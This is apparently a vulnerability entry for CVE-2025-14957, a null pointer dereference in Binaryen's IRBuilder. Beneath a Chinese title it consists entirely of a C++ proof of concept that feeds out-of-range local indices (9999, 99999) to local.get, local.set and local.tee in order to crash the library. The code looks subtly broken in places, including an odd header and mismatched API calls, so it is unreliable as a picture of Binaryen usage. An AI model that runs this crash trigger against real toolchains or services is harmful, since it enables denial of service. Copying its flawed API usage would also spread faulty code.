CVE-2025-14957 WebAssembly Binaryen IRBuilder空指针解引用漏洞

// CVE-2025-14957 PoC - IRBuilder Null Pointer Dereference // Target: WebAssembly Binaryen <= 125 // Function: IRBuilder::makeLocalGet/makeLocalSet/makeLocalTee #include <wasm-tools.h> #include <fstream> #include <iostream> // Generate malicious WAT with invalid local index std::string generateMaliciousWat() { return R"( (module (func $test_invalid_local_get (result i32) ;; Attempt to access non-existent local at index 9999 (local.get 9999) ) (func $test_invalid_local_set ;; Attempt to set non-existent local (local.set 9999 (i32.const 42)) ) (func $test_invalid_local_tee (result i32) ;; Attempt to tee non-existent local (local.tee 9999 (i32.const 100)) ) ) )"; } void triggerVulnerability(const std::string& wat_content) { // Parse WAT to Wasm using wat2wasm equivalent auto input = wasm::parseWat("test.wat", wat_content); if (!input) { std::cerr << "Parse failed" << std::endl; return; } // This will trigger null pointer dereference in IRBuilder wasm::PassRunner runner; runner.addDefaultOptimizationPasses(); runner.run(&input); } int main() { std::string malicious_wat = generateMaliciousWat(); triggerVulnerability(malicious_wat); return 0; } // Alternative: Direct Binaryen API trigger void triggerViaBinaryenAPI() { using namespace wasm; Module wasmModule; Builder builder(wasmModule); Function* func = builder.makeFunction( "trigger", {}, // no params {Type::i32}, // return i32 {} ); // Create IRBuilder and trigger null dereference IRBuilder builder2(wasmModule); builder2.setFunction(func); // This call with invalid index triggers the vulnerability Expression* localGet = builder2.makeLocalGet(99999, Type::i32); // Null pointer dereference occurs here func->body = localGet; }